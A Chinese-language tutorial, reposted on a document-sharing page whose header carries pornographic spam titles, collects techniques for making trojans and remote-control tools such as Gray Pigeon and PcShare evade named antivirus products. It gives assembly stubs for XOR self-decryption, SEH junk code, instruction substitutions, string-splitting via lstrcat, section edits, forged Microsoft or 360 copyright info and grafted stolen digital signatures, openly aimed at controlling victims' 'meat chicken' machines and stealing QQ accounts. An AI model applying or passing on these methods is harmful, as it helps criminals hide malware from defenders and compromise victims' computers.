免费视频淫片aa毛片_日韩高清在线亚洲专区vr_日韩大片免费观看视频播放_亚洲欧美国产精品完整版

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
超全面的免殺技術(shù)經(jīng)驗總結(jié)
學(xué)習(xí)免殺,首先你得學(xué)會匯編把,基礎(chǔ)的指令要懂得一些,一般的指令修改必須會,一般的修改這里就不贅述了,接下來就是掌握一些常用的免殺技巧,這里總結(jié)一些
第一:我們學(xué)習(xí)免殺的方向:只是為了保護(hù)自己的黑軟的話!就不會學(xué)的那么累(沒必去學(xué)匯編編程)有時候簡單加下殼或者脫下殼就OK!如果是要挑戰(zhàn)世界的殺毒軟件的話,畢竟每個PC用戶安裝的殺軟都不一樣!想抓雞拿服務(wù)器的朋友就要進(jìn)修脫殼破解,高級匯編的內(nèi)容了,這將決定你免殺技術(shù)的高低! 第二:免殺的環(huán)境:做免殺,逃不了測試這個木馬是不是修改成功!所以為了保護(hù)自己的系統(tǒng),我建議學(xué)免殺要先學(xué)會使用虛擬機(jī),很多人會說,為什么不用影子?影子系統(tǒng)雖然也是可以保護(hù)的,暫用資源又少,但是有些反彈型木馬,我們運行后如果失?。词钩晒Γ┒夹枰貑硗瓿赏耆宄墓ぷ?!做過QQ盜號木馬跟黑鷹遠(yuǎn)控軟件免殺的朋友應(yīng)該深有體會!
第三:殺軟的安裝設(shè)置:個人建議安裝卡巴,NOD32,小紅傘,瑞星,金山?。ó?dāng)然配置好的電腦可以再加上江民,麥咖啡)!硬盤大的朋友建議全利用虛擬機(jī)安裝殺軟(方便以后重做系統(tǒng),節(jié)省升級病毒庫的時間)殺軟的設(shè)置,可以說是很簡單的!每安裝完一個殺軟,我們都要先在殺軟設(shè)置里把監(jiān)控跟自我保護(hù)的選項的鉤去掉!然后升級病毒庫!升級完后再關(guān)閉服務(wù)跟啟動項(利用360安全衛(wèi)士)這樣安裝其他的殺軟就不會起沖突了!這里注意下!瑞星升級后會自己更改自己的服務(wù)為自動,所以瑞星建議最后裝,最后升級,再關(guān)閉它的服務(wù)!這里我想大家肯定是關(guān)心殺軟的序列號從哪來的吧!瑞星有體驗版,金山有37天試用版,NOD32利用PPLOVE網(wǎng)絡(luò)電視有180天試用!卡巴等洋貨在百度上搜索均有可用的序列號!這個就是考驗大家的細(xì)心了!呵呵!卡巴不建議裝6.0.7.0的,人家都在央視打廣告了,我們就裝2009把?。m然卡巴的啟發(fā)比不上NOD32的,但是它的主動可是免殺愛好者的“粉絲”)
殺軟的查殺特點:
卡巴:主動+高啟發(fā)掃描~~,效果相當(dāng)厲害,卡巴的主動非常麻煩,SSDT也被封了,啟發(fā)式也極難通過,還是要取決于木馬本身的實力了,
瑞星:國內(nèi)木馬的超級對手可以這么說!對國內(nèi)的木馬定位的特征是洋貨的N倍(鴿子見證)主要查殺技術(shù)是內(nèi)存查殺技術(shù),但是對一些生僻的木馬,內(nèi)存病毒庫里竟然沒有,只要過了表面就可以過內(nèi)存......主動主殺敏感字符串,不過2009的主動貌似改進(jìn)了不少......廣告賣的倒不錯,但是只是針對流行木馬!其他不常見木馬并沒有加大什么強(qiáng)度!
NOD32:啟發(fā)掃描的頭領(lǐng)!主殺輸入表函數(shù),針對MYCCL定位器做過調(diào)整!定位建議用 multiCCL這個來定位!不過這個大塊頭對生僻殼的偵殼能力不強(qiáng)!加些生僻殼把一些函數(shù)保護(hù)起來可以讓它無用武之地?。ㄟ@類殼主要是加密型,不建議用壓縮型)
金山:數(shù)據(jù)流查殺技術(shù)的代表!簡單來說跟瑞星內(nèi)存查殺技術(shù)有點一樣!病毒庫升級,查殺病毒速度都是超級快!但是殺毒能力比較上面的幾款有點遜色!
360與金山清理專家:行為查殺的代表,金山清理專家比360查殺力度還大!但是監(jiān)控能力......實在不想說!不過360的5.0版加了木馬云查殺,據(jù)說不是很好過(沒試過~~~)
以上可以說是所有集合殺軟的特點:文件查殺,內(nèi)存查殺,啟發(fā)查殺,數(shù)據(jù)流查殺!行為查殺!主動防御!每個殺軟都有自己的特點,一個人也不可能把全球殺軟都安裝起來研究,但是以上4個殺軟跟一個輔助可以說全包括了病毒查殺特點!也不能說哪個不好,哪個很好!有些木馬這個殺軟殺不出來~~那個就可以殺出來!所以對于現(xiàn)在網(wǎng)上有些朋友對個別殺毒軟件不重視,就會導(dǎo)致你所謂的“肉雞”插翅難飛!嘻嘻!
接下來就說說技巧方面的
比如你定位一個特征碼定位到了一個字符串上我們比如這個特征碼定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,遇到這個我想大家一定是修改大小寫吧,但是有時候修改大小寫還是被殺。 這個我們可以怎么辦呢,我們可以移動位置,因為這個肯定是一個api函數(shù)的參數(shù),我們找到那個函數(shù)然后修改下調(diào)用地址就行了。 所以有時候大家不能總用通用方法,要學(xué)會變通。
2.NOD32的疑問,前天有人來問我他說它定位NOD32,定位到了資源上,這個有一個可能是你的定位有錯誤。這個你可以通過multiccl把資源和輸入表段保護(hù)起來,然后定位,看可以定位出其他的特征碼不能,至于MYCCL,一般的定位最好在代碼段開始定位,填充可以選擇FF,66什么的,或者反向定位,定位的方法很多的,別人填充00,你就填充00么,現(xiàn)在的殺軟已經(jīng)把myccl扒的一干二凈了,有反定位措施...
3.花指令 花指令無非是一些干擾程序調(diào)試的一些手段,當(dāng)然也可以作為用來迷惑殺毒軟件使殺毒軟件找不到我們的特征碼,從而達(dá)到免殺。 為什么大家總是喜歡用網(wǎng)上的一些什么花指令方法。其實我發(fā)現(xiàn)其實多調(diào)用一些子程序,多加一些跳轉(zhuǎn),要比你們寫花指令要好的多。不過本人不推薦使用花指令免殺.
4.為什我服務(wù)端做了免殺,可是生成出來被殺。 這個大家首先可以對比一下有什么不同的地方,這個我給大家一個思路,現(xiàn)在殺毒軟件就喜歡定位有標(biāo)志型意義的地方(通俗點講版權(quán)信息),大家在做的時候因為為了保護(hù)我們的木馬,所以就委屈下原作者,呵呵。版權(quán)信息給改了。 還有一個就是比如說灰鴿子,現(xiàn)在殺軟會定位到它的一些dll文件名上,你修改完dll然后找到調(diào)用dll文件的函數(shù),然后修改下參數(shù)即可。。。。

高強(qiáng)度花指令--SEH
SEH是WINDOWS系統(tǒng)中處理計算機(jī)異常行為的一種方式,這種方式的特點就是用入棧的方式把斷點保存起來,所以他的效率很高,往往能夠處理很多的異常狀態(tài)。在免殺中我們可以通過它給木馬加花,讓他“錯誤”地跳到入口點。
奉上匯編代碼如下:
push 原入口點   -OEP
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov ebx,0
div ebx
復(fù)制代碼
這樣混淆的強(qiáng)度就很大了,其實還有很多這樣的方法,自己漫漫研究把。。

轉(zhuǎn)載小魚和Medusa的免殺技巧
1. 遇到特征碼定位在jmp指令上面的 構(gòu)造替換 push xxxxx ret。
舉例: jmp xxxxx
構(gòu)造替換 push xxxxx
ret
2. 遇到特征碼定位在call指令上的。
舉例:
call xxxxx
構(gòu)造替換: push @f
jmp xxxxx
@@:
;@@的標(biāo)號表示的是你jmp xxxx指令后面的內(nèi)存地址。 @f也就是引用@@ 的標(biāo)號,所以此時@f這里填寫的就是jmp xxxxx指令后面的內(nèi)存地址。。
3. 遇到特征碼定位在ret上
舉例: ret
構(gòu)造替換:
jmp dword ptr [esp]
4. 遇到特征碼定位在test eax, eax je xxxx or eax, eax, je xxxxx cmp eax, 0 jexxxxxx
舉例: test eax, eax
je xxxxxx
構(gòu)造替換: xchg eax, ecx
jecxz xxxxx
5. 遇到特征碼定位在 push [xxxxxx]上的。
舉例:push [xxxxx]
構(gòu)造:
在其之前通過 xchg [xxxxxx], ebx
然后用寄存器傳參: push ebx
最后在下面在通過xchg [xxxxxx], ebx 交換回來。
6. 數(shù)據(jù)段動態(tài)恢復(fù)和巧用算法加密結(jié)合起來。
前提是對匯編大家一定要有所了解,例如一些人說金山殺的是配置信息上,你完全可以將其這些配置信息所處的地址的數(shù)據(jù)進(jìn)行一層加密?;蛘吣憧梢詫⑵溥@些偏移所處的數(shù)據(jù) 通過xchg 交換。
dll注意下 要進(jìn)行重定位
call $+5 ;機(jī)器碼是 E8 00000000 00000000是相對地址
@@: pop ebx
sub ebx, @b
下面你就可以通過[ebx+你的偏移]來進(jìn)行變址尋址了。。
test eax,eax
je xxxxxx
將test eax,eax nop掉,改je為jb
或?qū)删鋘op掉
test eax,eax
jnz xxxxxx
將兩句nop掉
mov ebx,xxxxxx
mov ebp,eax
雙mov可以上下調(diào)換
add     edx, dword ptr [ebp+6E]
imul esi, dword ptr [edi+ebx*2+44], 614D6C6C
imul ebp, dword ptr [esi], 0
00              00
00              00
00              00
考慮下移
and eax,80000007
改為:
or eax,7FFFFFF9
用C32asm改,80000007為-80000007,C32asm會自動變?yōu)?0000007的負(fù)數(shù)7FFFFFF9
je   等于則跳   改成   jle   也是等于則跳
這是瑞星的新把戲
00436008   09C0 xor EAX,EAX
改為
00436008   09C0 OR EAX,EAX
004A19BD   6A 00 PUSH 0
改為
004A19BD   6A 01 PUSH 1
0049D775   /77 07 JA SHORT 021.0049D77E
改為
0049D775   /7F 07 JG SHORT 021.0049D77E
特征碼定位出來用OD載入?yún)s顯示無此地址的解決方法
dll:
也許你經(jīng)常遇到特征碼定位出來用OD載入?yún)s顯示無此地址.
我們用灰鴿子VIP2006的GETKEY.DLL做演示.
假若特征碼為
[特征] 000009DA_00000002 004015DA   (OC導(dǎo)出的內(nèi)存地址)
使用OC導(dǎo)出的地址到OD中卻不能使用.這時用lordpe打開GETKEY.dll
00013000
00400000 上下相加得00413000
OD載入入口為00883000 > 55              PUSH EBP
把40換成87就是真正的特征碼.008715DA
Dll實例(黑洞1.97 瑞星dll特征):
OK=1
CharactorTotal=3
Codz1=H_0000354C_0092414C
Codz2=H_0001A4B4_0093B0B4
Codz3=H_0003C958_0095D558
先用lord_PE打開,再用OD打開
文件入口:00042948      
               > -------> 00442948
鏡像:00400000                     
                                       >----------->相減   00520000
內(nèi)存入口                   00962948

零區(qū)無法定位可執(zhí)行文件數(shù)據(jù)的問題
1.c32asm來解決,靜態(tài)反匯編改特征

2.加一0區(qū)段,跨區(qū)段jmp跳,然后再新區(qū)段保存"所有修改",再回到原特征碼處jmp,保存
免殺關(guān)鍵是技巧,關(guān)鍵你對這些匯編指令掌握的程度,以及你對匯編程序的熟練度。。

接下來再說一下NOD32的高啟
《一個釘子和一個國家滅亡的故事》大家都知道
如果有那一個釘子,不丟那個馬掌,不折那匹戰(zhàn)馬,不傷那位將軍…………
有太多不確定了,只要我們破壞了其中任何一個環(huán)節(jié)啟發(fā)殺毒就會全線潰敗。
NOD32通過PE結(jié)構(gòu)尋找特征代碼 以導(dǎo)入表函數(shù)的修改為例 (這個簡單,其實還有更復(fù)雜的上次那個木馬就是12處關(guān)聯(lián),但是12處關(guān)聯(lián)破壞一個就免殺了)
首先他會從PE MZ那里開始計算PE HARD的位置 在從PE HARD處尋找數(shù)據(jù)段 計算數(shù)據(jù)段位置尋找指針的提示位置,然后通過指針的提示位置找到指針,通過指針找到導(dǎo)入表函數(shù)。
啟發(fā)殺毒理解比較困難但是修改還是很簡單的,可以說比普通的特征碼更容易。我們只要破壞他以上分析的任何一個環(huán)節(jié)他就會全線潰敗。
以前的pcshare有一個超簡單過NOD32的方法,那就是將子系統(tǒng)設(shè)置為未知,就直接過NOD32的高啟發(fā),因為NOD32默認(rèn)的對未知PE文件不予檢測報毒,而恰巧,我們的pcshare通過這樣更改之后仍然可以運行,達(dá)到了免殺目的,就是這么簡單

其實卡巴為我們提供了更多修改的機(jī)會
因為他的特征是關(guān)聯(lián)的,只要破壞他的關(guān)聯(lián)就行了
就好像
1+2+3+4+5+6+7+8+9=45一樣
特征碼是45.當(dāng)然會有很多選擇我們可以改"1"也可以改“2”還可以改“3”……
改掉一個他下面的關(guān)聯(lián)就被破壞了,也就免殺了,
解決NOD32最簡單的兩個方法
1.把文件子系統(tǒng)設(shè)未未知
2.修改OriginalFirstThunk 日期時間標(biāo)志 ForwarderThunk 以前都是00000000 把它改成FFFFFFFF 或者別的,就這樣就可以過了輸入表查殺雖然之后lordpe提示“錯誤的指針”,但是功能,上線都是沒有損壞的
至于原理,我上面說的很清楚了,呵呵
接下來說下基因啟發(fā)
因啟發(fā)是通過比對文件當(dāng)中的關(guān)鍵代碼,來查殺新病毒以及變種,這種方式在現(xiàn)階段的優(yōu)勢比較明顯,查殺率高,占用內(nèi)存少,但從缺點來看,這種啟發(fā)技術(shù)在現(xiàn)階段已經(jīng)暴露出來了一個很嚴(yán)重的問題就是誤報過于嚴(yán)重,在國外的誤報測試當(dāng)中,使用這項技術(shù)的殺軟普遍誤報十分厲害,像蜘蛛,紅傘,飛塔等等。而從長遠(yuǎn)來看,這種技術(shù)隨著時間的增長,病毒的種類越來越多,必定造成基因庫的臃腫,隨之造成的結(jié)果就是殺軟的運行效率降低,占用資源量的提升,甚至出現(xiàn)不同基因代碼間的沖突,所以這項技術(shù)雖然在現(xiàn)階段被看好,而且在技術(shù)上也沒什么難度。
這個是基因啟發(fā)啟發(fā)的定義,但是NOD32這么多特征完全來自廣譜查殺jack的文章曾說過: 引用:例如,如果一段程序以如下序列開始:MOV AH ,5/INT,13h,即調(diào)用格式化盤操作的BIOS指令功能,
那么這段程序就高度可疑值得引起警覺,尤其是假如這段指令之前不存在取得命令行關(guān)于執(zhí)行的參數(shù)選項,又沒有要求
用戶交互性輸入繼續(xù)進(jìn)行的操作指令時,就可以有把握地認(rèn)為這是一個病毒或惡意破壞的程序。
例子:一個免殺卡巴的木馬加一個被殺的花卡巴會提示type win32病毒 和感染pe的病毒一樣
卡巴會確定他的入口點,一般程序的入口點一般不會在程序的最后一個PE節(jié)里。如果OEP在最后一個PE節(jié)里就值得卡巴懷疑。所以有的“牛人”在2007年初提出了OEP虛擬化…………但是我不懂編程但是我們可以修改PE結(jié)構(gòu)讓入口不在最后一個PE節(jié)里,比如在木馬修改(非PE感染形)用跳轉(zhuǎn)法移動頭部某些代碼,在頭部空出廣大區(qū)域加花?;蛘呒油昊ǎǜ腥疽院螅┰诩右粋€空文件節(jié)。(這個適用與病毒編程)
寫著寫著就有點跑題……………………

對于NOD32 pcshare特征碼超多的問題
解釋很簡單 pcshare是一個典型的4代木馬(也有人稱為3代,看分代標(biāo)準(zhǔn))
很多代碼很典型,適用于殺軟研究廣譜查殺。NOD32的啟發(fā)更偏向于基因啟發(fā),但他沒有獨立的基因庫,用病毒庫代替了基因庫,通過在病毒庫里比對代碼,確認(rèn)病毒,看到我前面對基因啟發(fā)的介紹,相信對NOD32病毒庫小不難理解吧,很明顯NOD32的開發(fā)者也意識到了這點,所以NOD32對啟發(fā)可以報的病毒是不入庫的。對于pcshare4處關(guān)鍵作為啟發(fā)殺毒,剩下26個特征是輔助定位,4處關(guān)鍵修改后少量修改輔助定位就可以了。
關(guān)于OD修改字符串
例如pcshare有一個定位在“%S%S%S”上的...我們可以首先用C32把“%S%S%S”向前移一位,然后用OD載入,右鍵,超級字符串參考,
查找ASCII,然后找到所有的“s%s%s”(一般是一個PUSH或者CALL指令,他調(diào)用的就是這個字符串的地址),由于我們向前移了一位,所以顯示的應(yīng)該是“s%s%s”,然后雙擊來一個個修改...雙擊后會發(fā)現(xiàn),對應(yīng)的語句會有一個地址,我們把它改掉,向前一位,如4AD05168就改成4AD05167,接著同樣方法繼續(xù)改其它有“s%s%s”的...
這個方法通用字符串的修改...

另外還有一個容易忽略的問題,那就是文件版權(quán)
建議大家的木馬都不要使用原來的圖標(biāo)和版權(quán)信息,可以加上微軟,360的版權(quán)信息,有不少殺軟會針對版權(quán)信息進(jìn)行查殺(例:小紅傘,遇到過幾次,其余的不清楚)
360、卡巴免殺
怎么過360 卡巴 瑞星 金山 。。。
360其實很好過 行為查殺
只要把木馬默認(rèn)的文件名 服務(wù)名 (現(xiàn)在應(yīng)該沒人在使用win98了吧 或用注冊表啟動的木馬了吧 如果有那么把注冊表里的啟動鍵值改了)修改掉 就OK了
金山流氓查殺也是一樣的
接著說
瑞星 和 金山 其實 別看官方吹得很好 其實很垃圾 主動防御如同虛設(shè)
這里據(jù)個例子
黑洞1.96 吧 因為介紹卡巴的時候用到它 把服務(wù)端里面的 黑洞 藏鯨閣 等替換掉 (老陳,不是要砸你招牌 而是被逼的) 再把剛才說的 文件名 服務(wù)名 都換成其他的 那主動就過去了
其實NS也行 把SYSNS.DLL 改名 把版權(quán)去掉(老熊莫怪哦)再定位出其他的特征碼 修改掉(表面沒過,以上是廢話)
那么 金山 瑞星 360 就過去了
再說卡巴
卡巴2009的主動防御是很強(qiáng)悍的
其實 驅(qū)動過是最完美的
可是我菜 不會寫驅(qū)動 不過 黑洞1.96國慶版 內(nèi)有驅(qū)動 直接修改 因為這個驅(qū)動是為過卡巴而寫 所以 只需要過卡巴就OK了
巧用算法加密特征碼
XOR算法, 相同為0,相異為1
舉個例子
此時
0001 xor 1111 = 1110
1110 xor 0001 = 1111
以下是加密代碼
另外還有kipass寫的加密代碼,可以參照
對于代碼段,為了躲避跟著殺軟跑我們得對代碼段進(jìn)行全部變形處理...有人問了,怎么變形呢?一般研究溢出,軟件安全的DDMM,GGJJ們都知道在shellcode中有一種比較常見的為了保護(hù)自己的shellcode被直接修改利用用的xor加密...到這你應(yīng)該可以想到了,這就是對整個代碼段進(jìn)行xor每個字節(jié)加密...但這樣一來加密后就不能運行的..所以我們得找一段空白處,寫一段我們的解密代碼.并把文件入口點跳到這個解密代碼上.
就以最近的flash漏洞的shellcode解密頭來講解. shellcode就是這段解密頭的.
這里就是解密頭...里面我已經(jīng)注釋非常清楚了...哈.到這里又有人要問了..怎么加密呀..上面已經(jīng)有算法了..要用上面的話直接用這段代碼直接運行一次就是就加密的代碼了..呵呵..

這樣代碼段就變的面目全非了...完全不一樣了...好下面是數(shù)據(jù)段的修改了
最簡單的修改把原來的數(shù)據(jù)段里的東西分開處理.比如說資源..把資源全部移位,再修正指向資源的指針..其它以此類推.這完了數(shù)據(jù)段也處理完了..至少在原來的位置上的東東全部也不一樣了...
重定位的段處理和數(shù)據(jù)段一樣..
區(qū)段免殺技術(shù)
首先添加了一個空區(qū)段..名為king.. 這是原來的區(qū)
好.看一下這個區(qū)里的地址先~ 然后開始做了.

再用十六進(jìn)制編輯查看一下區(qū)的大小情況..
A2A00 到 A2BF0
 
讓整個區(qū)整體向上偏移幾位.. 由于上面的區(qū)本來就沒有東西.是空的
所以我們也不用改任何東西.. 大家隨機(jī)應(yīng)變吧..

可以適當(dāng)?shù)脑趨^(qū)里面添加上一些偽指令.. 例如可以加入一些異常指令等等.效果自然會更好
教程未完..看到原來一圖里面的區(qū)了嗎..
一般都有PE頭的下面..好看我把他們的區(qū)名全部給改了..

這樣也會誤導(dǎo)殺軟一些的難度. 其實在其它方面.還有一些免殺技術(shù)未被公開
還有一些殺其它部位的特征等等. 我們做免殺.不一定要修改特征碼..
對我來說.特征碼已經(jīng)等于是過去了.. 此方法是研究源碼免殺的時候悟出來了.
數(shù)字簽名過卡巴
現(xiàn)在過卡巴主動的基本方法可能就是給木馬程序加上數(shù)字簽名,卡巴對此視而不見
加數(shù)字簽名很簡單,用C32打開文件,從PE頭開始的152個字節(jié)為 XX XX XX XX 這里為數(shù)字簽名的地址(倒序)之后的數(shù)值是其簽名代碼的大小,隨便找一個帶有數(shù)字簽名的文件,找到他的位置和大小,把代碼全部復(fù)制下來,粘貼到木馬程序中,再更改相關(guān)的代碼即可,以附件為例,數(shù)字簽名的位置為:00 8E 00 00 大?。篊8 24 那么數(shù)字簽名則在8E00處,大小就是24C8,將其全部復(fù)制,再加在木馬程序的最后,然后再修改從PE頭開始的152個字節(jié)的相關(guān)數(shù)值即可
 

Pcshare輸出表輸出函數(shù)名加密法
ok,廢話不多說,給大家簡要說明下。。
首先ollydbg載入PcMain.dll,然后向下找0區(qū)域,然后我們加入我們的加密代碼。

如圖 :
 
 
這里我簡要的說明下代碼。
1. 首先保存我們的寄存器環(huán)境。
通過
pushad
popad

然后 我們加入代碼

其實這里大家可以運行一遍,此時運行后我們的ServiceMain已經(jīng)是加密了,然后我們在將.rdata區(qū)段數(shù)據(jù)保存。然后修改.rdata的區(qū)段屬性為可讀可寫屬性。
修改入口點位我們加入的代碼的偏移,此時loader加載后就會進(jìn)行解密。。
這里給出一個DLL的例子。。

加密后我們的輸出函數(shù)名為此圖。
 

我來給大家解釋下吧,錯與對還請大家評論。
嘿嘿!
pushad 和popad作用是為了保存當(dāng)前寄存器的狀況。
call $+5 ; 機(jī)器碼為E8 00 00 00 00
看機(jī)器碼,個人認(rèn)為沒什么意思吧,像個NOP
pop eax 這個很簡單,EAX出棧,為什么要出棧,剛才不是全部壓進(jìn)去了嗎?
因為我們后面的一些操作要用到它這個東東。
xor ax, ax
這幾句代碼是求我們的基地址 但是由于我們寫入的偏移量前面是以1001開頭的,所以接下來我們加入rva的時候要減去10000。
上面這段話已經(jīng)說明了。我就不多說了。
add eax, 3b05h ;3b05h為ServiceMain輸出函數(shù)名字符串的偏移 (意思就找到輸出函數(shù)名的內(nèi)存地址。下面用到嘛)
xchg eax, esi
mov edi, esi
很簡單,不用我多說了吧,不會的去查匯編指令。
lods byte ptr ds:[esi] LODS就是取字符串元素指令,大家調(diào)試下就知道了。
假如我們加密后的字符串是“A”,那么ESI所指向的內(nèi)存地址就是下一個字符串的地址了,他是一個字母一個字符的取的。
or al, al (這個是結(jié)合下面的一個JE的,因為。暈了怎么說好呢。大家看一下這個函數(shù)的最后都是00 00 吧,當(dāng)我們?nèi)⊥曜址?,也就是解密完成后,循環(huán)到這里的時候,OR就是與運算是吧,意思就是是1結(jié)果才是1,那么這是零,后面的跳轉(zhuǎn)就當(dāng)然跳了)
je XXXXXXXX
xor al, 18h 異或運算,重點吧。18是16進(jìn)制,可以隨便改的。
stos byte ptr es:[edi] 這個stos 和LODS相反,既然它取,那么這個就是放的。就是說,經(jīng)過上面的xor al, 18h 加密后,再放進(jìn)去,一個一個的解密。
jmp short 1.10011B3F 一個跳,循環(huán)結(jié)構(gòu),但是當(dāng)解密完成的時候,這個跳會被JE跳轉(zhuǎn),程序正常運行。
最后POP出棧
恢復(fù)之前的寄存器狀態(tài)。
再最后一個跳到入口點,執(zhí)行程序。簡單。
數(shù)據(jù)段ASCII字符串內(nèi)存動態(tài)恢復(fù)
對于棘手的ASCII字符串,我們還可以使用數(shù)據(jù)段ASCII字符串內(nèi)存動態(tài)恢復(fù)的方法,這里也貼出代碼
動態(tài)合并法
雖然說不是加密.但是也是利用了內(nèi)存動態(tài)恢復(fù)的原理濫生出來的技術(shù)吧.. .
簡單說明就是:
kernel32.lstrcat這個函數(shù)可以對兩個push進(jìn)行合并.
用法:     push 456
push 123
call dword ptr ds:[xxxx]xxxx是輸入表對kernel32.lstrcat的數(shù)
結(jié)果會在123的后面多出456 合并成 123456
具體怎么利用不會說明
簡單的打比方就是
當(dāng)特征碼為svchost.exe的時候. (打比方.)
那我們就可以這樣拆分. svch 和 ost.exe那樣殺軟怎么都不會叫了吧.
然后通過內(nèi)存動態(tài)合并.
用法.
00402246 60 pushad
00402247 BB 6F104000 mov ebx, 0040106F ; ASCII "IEFrame"
0040224C B9 02000000 mov ecx, 1
00402251 8B03 mov eax, dword ptr [ebx]
00402253 35 50403020 xor eax, 11111111 ;異或算法,密匙
00402258 8903 mov dword ptr [ebx], eax
0040225A 83C3 04 add ebx, 4
0040225D ^ E2 F2 loopd short 00402251
popad
復(fù)制代碼
027F5118 /EB 16 jmp short 027F5130 //跳到往下027F5130
027F511A |5B pop ebx //自定位完畢 ebx存是就是緊接著loader下的需要解密處的開始內(nèi)存地址..也就是027F5131處的
027F511B |33C9 xor ecx, ecx //清空ecx為下面循環(huán)解密xor的字節(jié)做準(zhǔn)備
027F511D |66:B8 625D mov ax, 5D62 //傳5D62給ax做初始密匙用
027F5121 |66:31044B xor word ptr [ebx+ecx*2], ax //對ebx+ecx*2處進(jìn)行雙字節(jié)解密..以前的都是單字節(jié)解密居多.
027F5125 |41 inc ecx //ecx加1,也就是密匙加1,動態(tài)變換密鑰..這就是這個解密頭的稍微比以前的解密強(qiáng)一點的地方..
027F5126 |40 inc eax //eax加1 累計解密多少次了.為下面判斷做準(zhǔn)備
027F5127 |66:81F9 5101 cmp cx, 151 //此處的151比較就是后面加密的代碼的總長度除二..可以替換成你自己按需要解密的總字節(jié)數(shù)除以二
027F512C |7C F3 jl short 027F5121 //沒有解密完就跳,繼續(xù)解密
027F512E |EB 05 jmp short 027F5135 //解密完了,跳到解密完的地方開始正式執(zhí)行原程序的代碼了,此處跳轉(zhuǎn)地址改成你加密的地方的開始地址
027F5130 E8 E5FFFFFF call 027F511A //配合027F511A處的pop ebx實現(xiàn)此代碼的自定位..
復(fù)制代碼
pushad
call $+5 ; 機(jī)器碼為E8 00 00 00 00
pop eax
xor ax, ax ;這幾句代碼是求我們的基地址 但是由于我們寫入的偏移量前面是以1001開頭的,所以接下來我們加入rva的時候要減去10000。
add eax, 3b05h ;3b05h為ServiceMain輸出函數(shù)名字符串的偏移
xchg eax, esi
mov edi, esi
@@:
lodsb
or al, al
je @f
xor al, 18h
stosb
jmp @b
@@:
popad
jmp 入口點
復(fù)制代碼
100118FE 60 pushad
100118FF 90 nop
10011900 E8 00000000 call 10011905
10011905 58 pop eax
10011906 2D 05190110 sub eax, 10011905
1001190B 05 E0400110 add eax, 100140E0
10011910 C700 53655368 mov dword ptr [eax], 68536553
10011916 61 popad
10011917 ^ E9 C7FBFFFF jmp 100114E3
復(fù)制代碼
pushxxxxx //ost.exe的地址,o的地址.因為他開頭嘛
pushxxxxx //接下來的當(dāng)然是剩下的svch的地址了.
call dword ptr ds:[<kernel32.lstrcat>] //這個kernel32.lstrcat的地址需要自己手動在IAT查找.
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
Yoda's Crypter 1.2的脫殼學(xué)習(xí)文檔
VB P
通達(dá)信獨立委托 過驗證碼 提供代碼
OllyDBG序列號追蹤小記
Delphi的字符串與16進(jìn)制的相互轉(zhuǎn)換函數(shù)的匯編代碼
【原創(chuàng)】隨便反匯編Delphi程序段整理 [文字模式]
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服